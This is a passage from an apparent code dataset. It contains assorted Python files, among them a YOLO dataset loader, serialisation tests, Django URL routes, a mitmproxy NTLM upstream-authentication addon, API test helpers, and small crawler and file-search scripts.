VOCDataset(torch.utils.data.Dataset):\n def __init__(\n self, df, img_dir, S=7, B=2, C=1, transform=None):\n self.annotations = df\n self.img_dir = img_dir\n self.transform = transform\n self.S = S\n self.B = B\n self.C = C\n\n def __len__(self):\n return len(self.annotations)\n\n def __getitem__(self, index):\n boxes = self.annotations.loc[:, [\"label\", \"norm_x\", \"norm_y\", \"norm_width\", \"norm_height\"]].values.tolist()\n\n img_path = os.path.join(self.img_dir, self.annotations.iloc[index, 0])\n image = Image.open(img_path).convert(\"RGB\")\n boxes = torch.tensor(boxes)\n\n if self.transform:\n image, boxes = self.transform(image, boxes)\n\n label_matrix = torch.zeros((self.S, self.S, self.C + 5 * self.B))\n for box in boxes:\n class_label, x, y, width, height = box.tolist()\n class_label = int(class_label)\n\n i, j = int(self.S * y), int(self.S * x)\n x_cell, y_cell = self.S * x - j, self.S * y - i\n\n width_cell, height_cell = (\n width * self.S,\n height * self.S,\n )\n\n\n if label_matrix[i, j, 0] == 0:\n label_matrix[i, j, 0] = 1\n\n box_coordinates = torch.tensor(\n [x_cell, y_cell, width_cell, height_cell]\n )\n\n label_matrix[i, j, 1:5] = box_coordinates\n\n label_matrix[i, j, class_label] = 1\n\n return image, label_matrix","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"396131398","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on 1/29/21 4:28 PM\n@Author : Justin Jiang\n@Email : jw_jiang@pku.edu.com\n\"\"\"\n\n\ndef search(nums, target):\n if not nums:\n return -1\n left_idx = 0\n right_idx = len(nums)\n while left_idx < right_idx:\n mid_idx = (left_idx + right_idx) // 2\n num = nums[mid_idx]\n if num == target:\n return mid_idx\n elif num > target:\n right_idx = mid_idx\n else:\n left_idx = mid_idx + 1\n return -1\n\n\nif __name__ == '__main__':\n nums = [-1, 0, 3, 5, 9, 12]\n target = 9\n print(search(nums, target))\n nums = [-1, 0, 3, 5, 9, 12]\n target = 2\n print(search(nums, target))\n","sub_path":"20201029/704_search.py","file_name":"704_search.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"204666499","text":"from PttWebCrawler.crawler import *\nimport sys\n\nc = PttWebCrawler(as_lib=True)\n\ndirectory = os.path.abspath('./data/pttdata/')\nif not os.path.exists(directory):\n os.makedirs(directory)\n\nboards = sys.argv[1].split(',')\nfor board in boards:\n print(board)\n lastpage = c.getLastPage(board)\n c.parse_articles(3904, lastpage, board, directory)\n\n","sub_path":"logstash/script/pttcrawler/fetchPtt_17_14.py","file_name":"fetchPtt_17_14.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"218553055","text":"import json\nfrom datetime import datetime\nfrom enum import Enum\nfrom typing import List, Dict\n\nimport immutables\nimport pytest\n\nfrom eventz.marshall import Marshall, DatetimeCodec\nfrom eventz.value_object import ValueObject\n\n\nclass SimpleTypeEntity(ValueObject):\n def __init__(\n self, name: str, numbers: List[int],\n ):\n self.name: str = name\n self.numbers: List[int] = numbers\n\n\nclass ValueType(ValueObject):\n def __init__(self, name: str):\n self.name: str = name\n\n\nclass ComplexTypeEntity(ValueObject):\n def __init__(\n self, one: ValueType, two: ValueType,\n ):\n self.one: ValueType = one\n self.two: ValueType = two\n\n\nclass CustomTypeEntity(ValueObject):\n def __init__(\n self, name: str, timestamp: datetime,\n ):\n self.name: str = name\n self.timestamp: datetime = timestamp\n\n\nclass JsonSerialisableEntity(ValueObject):\n def __init__(self, public):\n self._private = public\n\n def get_json_data(self) -> Dict:\n return {\"public\": self._private}\n\n\nclass Option(Enum):\n ONE = 1\n TWO = 2\n\n\nclass EnumEntity(ValueObject):\n def __init__(self, option: Option):\n self.option: Option = option\n\n\nclass MappingEntity(ValueObject):\n def __init__(self, mapping: immutables.Map):\n self.mapping = mapping\n\n\nnumbers1 = [1, 2, 3, 4, 5]\nnumbers2 = [2, 3, 4, 5, 6]\nnumbers3 = [3, 4, 5, 6, 7]\n\n\ndef test_single_message_serialisation_to_json():\n entity1 = SimpleTypeEntity(name=\"Event One\", numbers=numbers1)\n marshall = Marshall()\n assert marshall.to_json(entity1) == json.dumps(\n _make_simple_entity(\"Event One\", numbers1)\n )\n\n\ndef test_single_message_deserialisation_from_json():\n marshall = Marshall()\n json_string = json.dumps(_make_simple_entity(\"Event One\", numbers1))\n assert marshall.from_json(json_string) == SimpleTypeEntity(\n name=\"Event One\", numbers=numbers1\n )\n\n\ndef test_sequence_of_messages_serialised_to_json():\n list_of_entities = [\n SimpleTypeEntity(name=\"Event One\", numbers=numbers1),\n SimpleTypeEntity(name=\"Event Two\", numbers=numbers2),\n SimpleTypeEntity(name=\"Event Three\", numbers=numbers3),\n ]\n marshall = Marshall()\n assert marshall.to_json(list_of_entities) == json.dumps(\n [\n _make_simple_entity(\"Event One\", numbers1),\n _make_simple_entity(\"Event Two\", numbers2),\n _make_simple_entity(\"Event Three\", numbers3),\n ]\n )\n\n\ndef test_sequence_of_messages_deserialised_from_json():\n marshall = Marshall()\n json_string = json.dumps(\n [\n _make_simple_entity(\"Event One\", numbers1),\n _make_simple_entity(\"Event Two\", numbers2),\n _make_simple_entity(\"Event Three\", numbers3),\n ]\n )\n assert marshall.from_json(json_string) == [\n SimpleTypeEntity(name=\"Event One\", numbers=numbers1),\n SimpleTypeEntity(name=\"Event Two\", numbers=numbers2),\n SimpleTypeEntity(name=\"Event Three\", numbers=numbers3),\n ]\n\n\ndef test_complex_object_serialised_to_json():\n entity1 = ComplexTypeEntity(\n one=ValueType(name=\"Value One\"), two=ValueType(name=\"Value Two\"),\n )\n marshall = Marshall()\n assert marshall.to_json(entity1) == json.dumps(\n _make_complex_entity(\"Value One\", \"Value Two\")\n )\n\n\ndef test_complex_object_deserialised_from_json():\n json_string = json.dumps(_make_complex_entity(\"Value One\", \"Value Two\"))\n marshall = Marshall()\n assert marshall.from_json(json_string) == ComplexTypeEntity(\n one=ValueType(name=\"Value One\"), two=ValueType(name=\"Value Two\")\n )\n\n\ndef test_entity_with_custom_datetime_codec_serialised_to_json():\n entity_name = \"Entity One\"\n dt1 = datetime(2020, 1, 2, 3, 4, 5, 123456)\n iso_dt1 = \"2020-01-02T03:04:05.123456\"\n entity1 = CustomTypeEntity(name=entity_name, timestamp=dt1)\n marshall = Marshall()\n marshall.register_codec(fcn=\"eventz.marshall.DatetimeCodec\", codec=DatetimeCodec())\n assert marshall.to_json(entity1) == json.dumps(\n _make_with_datetime_dict(name=entity_name, iso_dt=iso_dt1)\n )\n\n\ndef test_custom_datetime_codec_raises_error_with_wrong_type():\n entity1 = CustomTypeEntity(name=\"Entity One\", timestamp=\"2020-01-02T03:04:05.123456\")\n codec = DatetimeCodec()\n with pytest.raises(TypeError):\n codec.serialise(entity1)\n\n\ndef test_entity_with_custom_datetime_codec_deserialised_from_json():\n entity_name = \"Entity One\"\n iso_dt1 = \"2020-01-02T03:04:05.123456\"\n dt1 = datetime(2020, 1, 2, 3, 4, 5, 123456)\n json_string = json.dumps(_make_with_datetime_dict(name=entity_name, iso_dt=iso_dt1))\n marshall = Marshall()\n marshall.register_codec(fcn=\"eventz.marshall.DatetimeCodec\", codec=DatetimeCodec())\n assert marshall.from_json(json_string) == CustomTypeEntity(\n name=entity_name, timestamp=dt1\n )\n\n\ndef test_json_serialisable_class_to_json():\n value = 123\n entity = JsonSerialisableEntity(public=value)\n json_data = {\"__fcn__\": \"tests.test_marshall.JsonSerialisableEntity\", \"public\": 123}\n marshall = Marshall()\n assert marshall.to_json(entity) == json.dumps(json_data)\n\n\ndef test_json_serialisable_class_from_json():\n value = 123\n json_data = {\"__fcn__\": \"tests.test_marshall.JsonSerialisableEntity\", \"public\": 123}\n marshall = Marshall()\n assert marshall.from_json(json.dumps(json_data)) == JsonSerialisableEntity(\n public=value\n )\n\n\ndef test_mapping_to_json():\n entity = MappingEntity(\n mapping=immutables.Map(a=1, b=2)\n )\n json_data = {\"__fcn__\": \"tests.test_marshall.MappingEntity\", \"mapping\": {\"a\": 1, \"b\": 2}}\n marshall = Marshall()\n assert marshall.to_json(entity) == json.dumps(json_data)\n\n\ndef test_mapping_from_json():\n mapping = {\"a\": 1, \"b\": 2}\n json_data = {\"__fcn__\": \"tests.test_marshall.MappingEntity\", \"mapping\": mapping}\n marshall = Marshall()\n assert marshall.from_json(json.dumps(json_data)) == MappingEntity(\n mapping=immutables.Map(mapping)\n )\n\n\ndef test_enum_to_json():\n entity = EnumEntity(option=Option.TWO)\n json_data = {\n \"__fcn__\": \"tests.test_marshall.EnumEntity\",\n \"option\": {\"__fcn__\": \"tests.test_marshall.Option\", \"_value_\": 2, \"_name_\": \"TWO\",},\n }\n marshall = Marshall()\n assert marshall.to_json(entity) == json.dumps(json_data, sort_keys=True)\n\n\ndef test_enum_from_json():\n json_data = {\n \"__fcn__\": \"tests.test_marshall.EnumEntity\",\n \"option\": {\"__fcn__\": \"tests.test_marshall.Option\", \"_value_\": 2, \"_name_\": \"TWO\",},\n }\n marshall = Marshall()\n assert marshall.from_json(json.dumps(json_data)) == EnumEntity(option=Option.TWO)\n\n\ndef test_code_deregistration():\n marshall = Marshall()\n fcn = \"eventz.marshall.DatetimeCodec\"\n marshall.register_codec(fcn=fcn, codec=DatetimeCodec())\n assert marshall.has_codec(fcn) is True\n marshall.deregister_codec(fcn)\n assert marshall.has_codec(fcn) is False\n\n\ndef _make_simple_entity(name, numbers):\n return {\n \"__fcn__\": \"tests.test_marshall.SimpleTypeEntity\",\n \"name\": name,\n \"numbers\": numbers,\n }\n\n\ndef _make_complex_entity(name1, name2):\n return {\n \"__fcn__\": \"tests.test_marshall.ComplexTypeEntity\",\n \"one\": {\"__fcn__\": \"tests.test_marshall.ValueType\", \"name\": name1,},\n \"two\": {\"__fcn__\": \"tests.test_marshall.ValueType\", \"name\": name2,},\n }\n\n\ndef _make_mapping_entity(name1, name2):\n return {\n \"__fcn__\": \"tests.test_marshall.MappingEntity\",\n \"mapping\": {\"one\": 1, \"two\": 2,},\n }\n\n\ndef _make_with_datetime_dict(name, iso_dt):\n return {\n \"__fcn__\": \"tests.test_marshall.CustomTypeEntity\",\n \"name\": name,\n \"timestamp\": {\n \"__codec__\": \"eventz.marshall.DatetimeCodec\",\n \"params\": {\"timestamp\": iso_dt},\n },\n }\n","sub_path":"tests/test_marshall.py","file_name":"test_marshall.py","file_ext":"py","file_size_in_byte":7860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"589899467","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nimport settings\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n\n # home\n (r'^$', 'league.views.HomePage'),\n\n # draft picks page\n (r'draft-picks/$', 'league.views.DraftPicksPage'),\n\n # position page\n (r'position/(?P.*)/$', 'league.views.PositionPage'),\n\n # confirm pick page\n (r'confirm/(?P.*)/$', 'league.views.ConfirmPickPage'),\n\n # trade board page\n (r'trade-board/$', 'league.views.TradeBoardPage'),\n\n # create trade page\n (r'create-trade/$', 'league.views.CreateTradePage'),\n\n # confirm trade page\n (r'confirm-trade/(?P.*)/(?P.*)/$', 'league.views.ConfirmTradePage'),\n\n # admin\n (r'^admin/', include(admin.site.urls)),\n (r'^clock/', 'league.views.ClockPage'),\n\n)\n\nurlpatterns += patterns('league.views',\n url(r'^ajax_call/?$', 'ajax_call', name='ajax_call'), \n)\n","sub_path":"league/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"110757742","text":"import base64\nimport binascii\nimport logging\nimport socket\nfrom typing import Any\nfrom typing import Optional\n\nfrom ntlm_auth import gss_channel_bindings\nfrom ntlm_auth import ntlm\n\nfrom mitmproxy import addonmanager\nfrom mitmproxy import ctx\nfrom mitmproxy import http\nfrom mitmproxy.net.http import http1\nfrom mitmproxy.proxy import commands\nfrom mitmproxy.proxy import layer\nfrom mitmproxy.proxy.context import Context\nfrom mitmproxy.proxy.layers.http import HttpConnectUpstreamHook\nfrom mitmproxy.proxy.layers.http import HttpLayer\nfrom mitmproxy.proxy.layers.http import HttpStream\nfrom mitmproxy.proxy.layers.http._upstream_proxy import HttpUpstreamProxy\n\n\nclass NTLMUpstreamAuth:\n \"\"\"\n This addon handles authentication to systems upstream from us for the\n upstream proxy and reverse proxy mode. There are 3 cases:\n - Upstream proxy CONNECT requests should have authentication added, and\n subsequent already connected requests should not.\n - Upstream proxy regular requests\n - Reverse proxy regular requests (CONNECT is invalid in this mode)\n \"\"\"\n\n def load(self, loader: addonmanager.Loader) -> None:\n logging.info(\"NTLMUpstreamAuth loader\")\n loader.add_option(\n name=\"upstream_ntlm_auth\",\n typespec=Optional[str],\n default=None,\n help=\"\"\"\n Add HTTP NTLM authentication to upstream proxy requests.\n Format: username:password.\n \"\"\",\n )\n loader.add_option(\n name=\"upstream_ntlm_domain\",\n typespec=Optional[str],\n default=None,\n help=\"\"\"\n Add HTTP NTLM domain for authentication to upstream proxy requests.\n \"\"\",\n )\n loader.add_option(\n name=\"upstream_proxy_address\",\n typespec=Optional[str],\n default=None,\n help=\"\"\"\n upstream poxy address.\n \"\"\",\n )\n loader.add_option(\n name=\"upstream_ntlm_compatibility\",\n typespec=int,\n default=3,\n help=\"\"\"\n Add HTTP NTLM compatibility for authentication to upstream proxy requests.\n Valid values are 0-5 (Default: 3)\n \"\"\",\n )\n logging.debug(\"AddOn: NTLM Upstream Authentication - Loaded\")\n\n def running(self):\n def extract_flow_from_context(context: Context) -> http.HTTPFlow:\n if context and context.layers:\n for l in context.layers:\n if isinstance(l, HttpLayer):\n for _, stream in l.streams.items():\n return (\n stream.flow if isinstance(stream, HttpStream) else None\n )\n\n def build_connect_flow(\n context: Context, connect_header: tuple\n ) -> http.HTTPFlow:\n flow = extract_flow_from_context(context)\n if not flow:\n logging.error(\"failed to build connect flow\")\n raise\n flow.request.content = b\"\" # we should send empty content for handshake\n header_name, header_value = connect_header\n flow.request.headers.add(header_name, header_value)\n return flow\n\n def patched_start_handshake(self) -> layer.CommandGenerator[None]:\n assert self.conn.address\n self.ntlm_context = CustomNTLMContext(ctx)\n proxy_authorization = self.ntlm_context.get_ntlm_start_negotiate_message()\n self.flow = build_connect_flow(\n self.context, (\"Proxy-Authorization\", proxy_authorization)\n )\n yield HttpConnectUpstreamHook(self.flow)\n raw = http1.assemble_request(self.flow.request)\n yield commands.SendData(self.tunnel_connection, raw)\n\n def extract_proxy_authenticate_msg(response_head: list) -> str:\n for header in response_head:\n if b\"Proxy-Authenticate\" in header:\n challenge_message = str(bytes(header).decode(\"utf-8\"))\n try:\n token = challenge_message.split(\": \")[1]\n except IndexError:\n logging.error(\"Failed to extract challenge_message\")\n raise\n return token\n\n def patched_receive_handshake_data(\n self, data\n ) -> layer.CommandGenerator[tuple[bool, str | None]]:\n self.buf += data\n response_head = self.buf.maybe_extract_lines()\n if response_head:\n response_head = [bytes(x) for x in response_head]\n try:\n response = http1.read_response_head(response_head)\n except ValueError:\n return True, None\n challenge_message = extract_proxy_authenticate_msg(response_head)\n if 200 <= response.status_code < 300:\n if self.buf:\n yield from self.receive_data(data)\n del self.buf\n return True, None\n else:\n if not challenge_message:\n return True, None\n proxy_authorization = (\n self.ntlm_context.get_ntlm_challenge_response_message(\n challenge_message\n )\n )\n self.flow = build_connect_flow(\n self.context, (\"Proxy-Authorization\", proxy_authorization)\n )\n raw = http1.assemble_request(self.flow.request)\n yield commands.SendData(self.tunnel_connection, raw)\n return False, None\n else:\n return False, None\n\n HttpUpstreamProxy.start_handshake = patched_start_handshake\n HttpUpstreamProxy.receive_handshake_data = patched_receive_handshake_data\n\n def done(self):\n logging.info(\"close ntlm session\")\n\n\naddons = [NTLMUpstreamAuth()]\n\n\nclass CustomNTLMContext:\n def __init__(\n self,\n ctx,\n preferred_type: str = \"NTLM\",\n cbt_data: gss_channel_bindings.GssChannelBindingsStruct = None,\n ):\n # TODO:// take care the cbt_data\n auth: str = ctx.options.upstream_ntlm_auth\n domain: str = str(ctx.options.upstream_ntlm_domain).upper()\n ntlm_compatibility: int = ctx.options.upstream_ntlm_compatibility\n username, password = tuple(auth.split(\":\"))\n workstation = socket.gethostname().upper()\n logging.debug(f'\\nntlm context with the details: \"{domain}\\\\{username}\", *****')\n self.preferred_type = preferred_type\n self.ntlm_context = ntlm.NtlmContext(\n username=username,\n password=password,\n domain=domain,\n workstation=workstation,\n ntlm_compatibility=ntlm_compatibility,\n cbt_data=cbt_data,\n )\n\n def get_ntlm_start_negotiate_message(self) -> str:\n negotiate_message = self.ntlm_context.step()\n negotiate_message_base_64_in_bytes = base64.b64encode(negotiate_message)\n negotiate_message_base_64_ascii = negotiate_message_base_64_in_bytes.decode(\n \"ascii\"\n )\n negotiate_message_base_64_final = (\n f\"{self.preferred_type} {negotiate_message_base_64_ascii}\"\n )\n logging.debug(\n f\"{self.preferred_type} Authentication, negotiate message: {negotiate_message_base_64_final}\"\n )\n return negotiate_message_base_64_final\n\n def get_ntlm_challenge_response_message(self, challenge_message: str) -> Any:\n challenge_message = challenge_message.replace(self.preferred_type + \" \", \"\", 1)\n try:\n challenge_message_ascii_bytes = base64.b64decode(\n challenge_message, validate=True\n )\n except binascii.Error as err:\n logging.debug(\n f\"{self.preferred_type} Authentication fail with error {err.__str__()}\"\n )\n return False\n authenticate_message = self.ntlm_context.step(challenge_message_ascii_bytes)\n negotiate_message_base_64 = \"{} {}\".format(\n self.preferred_type, base64.b64encode(authenticate_message).decode(\"ascii\")\n )\n logging.debug(\n f\"{self.preferred_type} Authentication, response to challenge message: {negotiate_message_base_64}\"\n )\n return negotiate_message_base_64\n","sub_path":"examples/contrib/ntlm_upstream_proxy.py","file_name":"ntlm_upstream_proxy.py","file_ext":"py","file_size_in_byte":8560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"112097641","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/11/5 12:30\n# @Author : chinablue\n# @Email : dongjun@reconova.cn\n# @File : utils.py\n\n# 将用例可复用的步骤封装成函数\nimport allure\n\nfrom base.helper import JsonHelper\nfrom base.helper import AllureHelper\n\ndef positive_check_snapLogic(api_admin, areaCode,\n expect_snapType, expect_userType,\n expect_snapRecordStatus,\n expect_collectRecordStatus, expect_faceId):\n\n with allure.step('测试步骤:抓拍列表查询'):\n res_json = api_admin.scn_snap_list(areaCodesList=areaCode,res_accurate=False,expected_value=1)\n\n actual_snapType = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.snapType]\",res_allowNone=True,res_firstOne=True)\n expect_snapType = expect_snapType\n AllureHelper.assert_equal(\"抓拍类型校验\", expect_snapType, actual_snapType)\n\n actual_userType = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.userType]\",res_allowNone=True,res_firstOne=True)\n expect_userType = expect_userType\n AllureHelper.assert_equal(\"访客的类型校验\", expect_userType, actual_userType)\n\n actual_snapRecordStatus = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.snapRecordStatus]\",res_allowNone=True,res_firstOne=True)\n expect_snapRecordStatus = expect_snapRecordStatus\n AllureHelper.assert_equal(\"抓拍节点-客流处理状态校验\", expect_snapRecordStatus, actual_snapRecordStatus)\n\n actual_collectRecordStatus = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.collectRecordStatus]\",res_allowNone=True,res_firstOne=True)\n expect_collectRecordStatus = expect_collectRecordStatus\n AllureHelper.assert_equal(\"汇总节点-客流处理状态\", expect_collectRecordStatus, actual_collectRecordStatus)\n\n faceId = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.faceId]\",res_allowNone=True,res_firstOne=True)\n actual_faceId = False if faceId ==\"0\" else True\n expect_faceId = expect_faceId\n AllureHelper.assert_equal(\"人脸库faceId值校验\", expect_faceId, actual_faceId)\n\ndef positive_check_snapLogicmatch(api_admin,areaCode,expect_snapType,expect_userType):\n with allure.step(\"校验:校验第二次上报图片的校验结果\"):\n with allure.step(\"取出第二次上报图片的抓拍时间\"):\n res_json1 = api_admin.scn_snap_list(areaCodesList=[areaCode], expected_value=2)\n snapTime_list = JsonHelper.parseJson_by_objectpath(res_json1, \"$..*[@.snapTime]\", res_allowNone=True)\n snapTime = snapTime_list[0] if snapTime_list[0] > snapTime_list[1] else snapTime_list[1]\n res_json = api_admin.scn_snap_list(startDateTime=snapTime, areaCodesList=[areaCode])\n\n with allure.step(\"校验:上报数据抓拍类型及访客类型处理结果\"):\n actual_snapType = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.snapType]\", res_allowNone=True, res_firstOne=True)\n expect_snapType = expect_snapType\n AllureHelper.assert_equal(\"抓拍类型校验\", expect_snapType, actual_snapType)\n\n actual_userType = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.userType]\", res_allowNone=True, res_firstOne=True)\n expect_userType = expect_userType\n AllureHelper.assert_equal(\"访客的类型校验\", expect_userType, actual_userType)\n\ndef register_member(api_admin,areaCode,mallareaCode,memberlevelId):\n\n with allure.step(\"前置条件: 注册会员\"):\n res_json = api_admin.scn_snap_list(areaCodesList=[areaCode])\n faceId = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.faceId]\", res_allowNone=True, res_firstOne=True)\n featureImageUrl = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.featureImageUrl]\", res_allowNone=True,res_firstOne=True)\n\n api_admin.scn_member_add(mallareaCode=mallareaCode, faceId=faceId, imagePath=featureImageUrl,memberlevelId=memberlevelId)\n\ndef register_employee(api_admin,areaCode,mallareaCode):\n\n with allure.step(\"前置条件: 注册店员\"):\n res_json = api_admin.scn_snap_list(areaCodesList=[areaCode])\n faceId = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.faceId]\", res_allowNone=True,res_firstOne=True)\n featureImageUrl = JsonHelper.parseJson_by_objectpath(res_json, \"$..*[@.featureImageUrl]\",res_allowNone=True, res_firstOne=True)\n\n api_admin.scn_employee_add(mallareaCode=mallareaCode, faceId=faceId, imagePath=featureImageUrl)\n\ndef positive_check_node(api, res_data):\n with allure.step(\"节点详情接口校验\"):\n res_json1 = api.scn_node_detail(areaCode=res_data[\"areaCode\"])\n res_data1 = JsonHelper.parseJson_by_objectpath(res_json1, \"$.data\")\n AllureHelper.assert_equal(\"上级节点编码校验\", res_data[\"parentAreaCode\"], res_data1[\"parentAreaCode\"])\n AllureHelper.assert_equal(\"节点名称校验\", res_data[\"name\"], res_data1[\"name\"])\n AllureHelper.assert_equal(\"节点编码校验\", res_data[\"areaCode\"], res_data1[\"areaCode\"])\n AllureHelper.assert_equal(\"节点类型校验\", res_data[\"areaType\"], res_data1[\"areaType\"])\n AllureHelper.assert_equal(\"节点等级校验\", res_data[\"nodeLevel\"], res_data1[\"nodeLevel\"])\n AllureHelper.assert_equal(\"节点id校验\", res_data[\"areaId\"], res_data1[\"areaId\"])\n with allure.step(\"节点列表接口校验\"):\n res_json2 = api.scn_node_list(parentAreaCode=res_data[\"parentAreaCode\"], name=res_data[\"name\"])\n res_data2 = JsonHelper.parseJson_by_objectpath(res_json2, \"$.data.list[0]\")\n AllureHelper.assert_equal(\"上级节点编码校验\", res_data[\"parentAreaCode\"], res_data2[\"parentAreaCode\"])\n AllureHelper.assert_equal(\"节点编码校验\", res_data[\"areaCode\"], res_data2[\"areaCode\"])\n AllureHelper.assert_equal(\"节点名称校验\", res_data[\"name\"], res_data2[\"name\"])\n AllureHelper.assert_equal(\"节点类型校验\", res_data[\"areaType\"], res_data2[\"areaType\"])\n AllureHelper.assert_equal(\"节点等级校验\", res_data[\"nodeLevel\"], res_data2[\"nodeLevel\"])\n AllureHelper.assert_equal(\"节点id校验\", res_data[\"areaId\"], res_data2[\"areaId\"])\n with allure.step(\"节点树接口校验\"):\n res_json3 = api.bns_node_tree(parentAreaCode=res_data[\"parentAreaCode\"], nodeLevel=5)\n res_data3 = JsonHelper.parseJson_by_objectpath(res_json3,\n \"$.response_data.data[@.name is %s][0]\" % res_data[\"name\"])\n AllureHelper.assert_equal(\"上级节点编码校验\", res_data[\"parentAreaCode\"], res_data3[\"parentAreaCode\"])\n AllureHelper.assert_equal(\"节点名称校验\", res_data[\"name\"], res_data3[\"name\"])\n AllureHelper.assert_equal(\"节点编码校验\", res_data[\"areaCode\"], res_data3[\"areaCode\"])\n AllureHelper.assert_equal(\"节点类型校验\", res_data[\"areaType\"], res_data3[\"areaType\"])\n AllureHelper.assert_equal(\"节点等级校验\", res_data[\"nodeLevel\"], res_data3[\"nodeLevel\"])\n AllureHelper.assert_equal(\"节点id校验\", res_data[\"areaId\"], res_data3[\"areaId\"])\n with allure.step(\"节点树(有分组)接口校验\"):\n res_json4 = api.bns_node_treeGroup(parentAreaCode=res_data[\"parentAreaCode\"], nodeLevel=5)\n res_data4 = JsonHelper.parseJson_by_objectpath(res_json4,\n \"$.response_data.data[@.name is %s][0]\" % res_data[\"name\"])\n AllureHelper.assert_equal(\"上级节点编码校验\", res_data[\"parentAreaCode\"], res_data4[\"parentAreaCode\"])\n AllureHelper.assert_equal(\"节点名称校验\", res_data[\"name\"], res_data4[\"name\"])\n AllureHelper.assert_equal(\"节点编码校验\", res_data[\"areaCode\"], res_data4[\"areaCode\"])\n AllureHelper.assert_equal(\"节点类型校验\", res_data[\"areaType\"], res_data4[\"areaType\"])\n AllureHelper.assert_equal(\"节点等级校验\", res_data[\"nodeLevel\"], res_data4[\"nodeLevel\"])\n AllureHelper.assert_equal(\"节点id校验\", res_data[\"areaId\"], res_data4[\"areaId\"])\n\ndef snap_age_identification(response, expect_age_value, expect_deciceCode):\n with allure.step('校验:接口响应信息'):\n with allure.step('校验:查询数据为一条'):\n expect_value = 1\n actual_value = JsonHelper.parseJson_by_objectpath(response, \"$..*[@.total]\")[0]\n AllureHelper.assert_equal(\"接口查询返回条数\", actual_value, expect_value)\n\n with allure.step('校验:查询结果中为该设备上报的抓拍数据'):\n expected_value = expect_deciceCode\n actual_value = JsonHelper.parseJson_by_objectpath(response, \"$..*[@.deviceCode]\")\n AllureHelper.assert_isContain(\"抓拍数据\", expected_value, actual_value)\n\n with allure.step('校验:查询结果中年龄识别结果小于等于{}'.format(expect_age_value)):\n expected_value = expect_age_value\n actual_value = JsonHelper.parseJson_by_objectpath(response, \"$..*[@.ageInit]\")[0]\n AllureHelper.assert_except_ge_actual(\"年龄\", expected_value, actual_value)\n\ndef snap_node_identification(response, expect_snapRecordStatus, expect_collectRecordStatus=None):\n with allure.step('校验:接口响应信息'):\n with allure.step('校验:查询数据为两条'):\n expect_value = 2\n actual_value = JsonHelper.parseJson_by_objectpath(response, \"$..*[@.total]\")[0]\n AllureHelper.assert_equal(\"接口查询返回条数\", actual_value, expect_value)\n\n with allure.step('校验:查询结果中两条数据faceid相同'):\n expected_value = JsonHelper.parseJson_by_objectpath(response, \"$..*[@.faceId]\")[0]\n actual_value = JsonHelper.parseJson_by_objectpath(response, \"$..*[@.faceId]\")[1]\n AllureHelper.assert_equal(\"faceID查询的两条数据\", actual_value, expected_value)\n\n with allure.step('校验:snapRecordStatus值'):\n\n actual_snapRecordStatus = \\\n JsonHelper.parseJson_by_objectpath(response, \"$.*.data.list.snapRecordStatus\")[0]\n AllureHelper.assert_equal(\"抓拍节点下图片去重状态对应字段\", expect_snapRecordStatus, actual_snapRecordStatus)\n if expect_collectRecordStatus is not None:\n with allure.step('校验:collectRecordStatus值'):\n\n actual_collectRecordStatus = \\\n JsonHelper.parseJson_by_objectpath(response, \"$.*.data.list.collectRecordStatus\")[0]\n AllureHelper.assert_equal(\"汇总节点下图片去重状态对应字段\", expect_collectRecordStatus, actual_collectRecordStatus)\n","sub_path":"接口/demo/case/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"92953661","text":"#!/usr/bin/env python3\n# doc : http://docs.python-requests.org/en/master/user/quickstart/\n\nimport requests\n\nurl = \"https://www.root-me.org/Laluka\"\nparams = dict(\n inc = \"score\",\n lang = \"fr\"\n)\nheaders = dict(key = \"value\")\ncookies = dict(\n msg_history = \"explication_site_multilingue\",\n spip_session = \"\",\n spip_admin = \"@develooper\"\n)\ndata = dict(key = \"value\")\n\n\n#req = requests.post(url, params=params, headers=headers, cookies=cookies, data=data)\nreq = requests.get(url, params=params, cookies=cookies)\n\nprint(req.url)\nprint(req.text)\n","sub_path":"web/py.py","file_name":"py.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367416920","text":"# Find a string in a folder\nimport os\nimport sys\n\ndef traverse(path, string):\n\tfor f in os.listdir(path):\n\t\tactFile = path + f\n\t\ttry:\n\t\t\tif os.path.isfile(actFile):\n\t\t\t\twith open(actFile, 'rb') as file:\n\t\t\t\t\tif string in str(file.read()).lower():\n\t\t\t\t\t\tprint(\"Found string\", string, \"in file \", file.name)\n\t\t\telif os.path.isdir(actFile) and f != \".git\":\n\t\t\t\ttraverse(actFile + \"/\", string)\n\t\texcept:\n\t\t\tcontinue\n\treturn\n\npath = sys.argv[1]\nstring = sys.argv[2].lower()\n\ntry:\n\tprint(\"Search directory:\", path)\n\tprint(\"String to search for:\", string)\nexcept:\n\tprint(\"ERROR: No path specified.\")\n\tend = input(\"\\nPress any key to 